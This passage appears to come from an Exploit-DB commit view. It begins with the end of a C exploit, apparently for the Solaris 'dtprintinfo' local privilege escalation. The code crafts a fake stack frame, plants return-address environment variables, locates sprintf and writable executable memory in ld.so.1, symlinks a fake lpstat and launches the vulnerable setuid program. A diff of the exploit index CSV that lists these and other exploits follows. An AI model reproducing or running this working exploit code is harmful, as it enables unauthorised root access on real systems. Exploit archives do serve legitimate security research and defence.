set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */
set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */
set_val(ff, i += 4, ff_addr + 56); /* %i2 */
set_val(ff, i += 4, ff_addr + 56); /* %i3 */
set_val(ff, i += 4, ff_addr + 56); /* %i4 */
set_val(ff, i += 4, ff_addr + 56); /* %i5 */
set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
#ifdef USE_EXEC_SC
set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */
#endif /* USE_EXEC_SC */
/* overwrite RET and FPT env vars with the correct addresses */
sprintf(ret_var, "RET=0x%x", ret);
env[ret_pos] = ret_var;
sprintf(fpt_var, "FPT=0x%x", ff_addr);
env[fpt_pos] = fpt_var;
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
/* check for null bytes (add some padding to env if needed) */
check_zero(ff_addr, "ff address");
check_zero(sc_addr, "sc address");
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* get_ff_addr(): get fake frame address using a helper program
*/
int get_ff_addr(char *path, char **argv)
{
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char hex[11] = "\x00";
int fd[2], addr;
/* truncate program name at correct length and create a hard link */
prog[strlen(path)] = 0x0;
unlink(prog);
link(argv[0], prog);
/* open pipe to read program output */
if (pipe(fd) < 0) {
perror("pipe");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("fork");
exit(1);
case 0: /* child */
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror("execve");
exit(1);
default: /* parent */
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}
/* check and return address */
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, "error: cannot read ff address from helper program\n");
exit(1);
}
return addr + 4;
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "error: can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address null bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}

View file

@ -10866,7 +10866,7 @@ id,file,description,date,author,type,platform,port
46851,exploits/windows/local/46851.txt,"VMware Workstation 15.1.0 - DLL Hijacking",2019-05-16,"Miguel Mendez Z. & Claudio Cortes C.",local,windows, 46851,exploits/windows/local/46851.txt,"VMware Workstation 15.1.0 - DLL Hijacking",2019-05-16,"Miguel Mendez Z. & Claudio Cortes C.",local,windows,
46854,exploits/windows/local/46854.py,"JetAudio jetCast Server 2.0 - 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow",2019-05-16,"Connor McGarr",local,windows, 46854,exploits/windows/local/46854.py,"JetAudio jetCast Server 2.0 - 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow",2019-05-16,"Connor McGarr",local,windows,
46866,exploits/windows/local/46866.c,"Huawei eSpace 1.1.11.103 - DLL Hijacking",2019-05-20,LiquidWorm,local,windows, 46866,exploits/windows/local/46866.c,"Huawei eSpace 1.1.11.103 - DLL Hijacking",2019-05-20,LiquidWorm,local,windows,
46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation",2019-05-20,"Marco Ivaldi",local,solaris, 46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris,
46878,exploits/solaris/local/46878.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris, 46878,exploits/solaris/local/46878.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris,
46879,exploits/solaris/local/46879.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2019-05-20,"Marco Ivaldi",local,solaris, 46879,exploits/solaris/local/46879.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2019-05-20,"Marco Ivaldi",local,solaris,
47147,exploits/linux/local/47147.txt,"Docker - Container Escape",2019-07-19,dominikczarnotatob,local,linux, 47147,exploits/linux/local/47147.txt,"Docker - Container Escape",2019-07-19,dominikczarnotatob,local,linux,
@ -11247,6 +11247,11 @@ id,file,description,date,author,type,platform,port
49409,exploits/windows/local/49409.py,"PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval",2021-01-11,rootabeta,local,windows, 49409,exploits/windows/local/49409.py,"PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval",2021-01-11,rootabeta,local,windows,
49453,exploits/windows/local/49453.txt,"Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation",2021-01-22,LiquidWorm,local,windows, 49453,exploits/windows/local/49453.txt,"Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation",2021-01-22,LiquidWorm,local,windows,
49491,exploits/multiple/local/49491.py,"Metasploit Framework 6.0.11 - msfvenom APK template command injection",2021-01-28,"Justin Steven",local,multiple, 49491,exploits/multiple/local/49491.py,"Metasploit Framework 6.0.11 - msfvenom APK template command injection",2021-01-28,"Justin Steven",local,multiple,
49514,exploits/solaris/local/49514.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris,
49515,exploits/solaris/local/49515.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris,
49516,exploits/solaris/local/49516.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2021-02-02,"Marco Ivaldi",local,solaris,
49517,exploits/solaris/local/49517.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris,
49518,exploits/solaris/local/49518.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -43704,3 +43709,4 @@ id,file,description,date,author,type,platform,port
49510,exploits/php/webapps/49510.py,"Roundcube Webmail 1.2 - File Disclosure",2021-02-01,stonepresto,webapps,php, 49510,exploits/php/webapps/49510.py,"Roundcube Webmail 1.2 - File Disclosure",2021-02-01,stonepresto,webapps,php,
49511,exploits/php/webapps/49511.py,"Klog Server 2.4.1 - Command Injection (Authenticated)",2021-02-01,"Metin Yunus Kandemir",webapps,php, 49511,exploits/php/webapps/49511.py,"Klog Server 2.4.1 - Command Injection (Authenticated)",2021-02-01,"Metin Yunus Kandemir",webapps,php,
49512,exploits/php/webapps/49512.py,"WordPress 5.0.0 - Image Remote Code Execution",2021-02-01,"OUSSAMA RAHALI",webapps,php, 49512,exploits/php/webapps/49512.py,"WordPress 5.0.0 - Image Remote Code Execution",2021-02-01,"OUSSAMA RAHALI",webapps,php,
49513,exploits/php/webapps/49513.txt,"Student Record System 4.0 - 'cid' SQL Injection",2021-02-02,"Jannick Tiger",webapps,php,

Can't render this file because it is too large.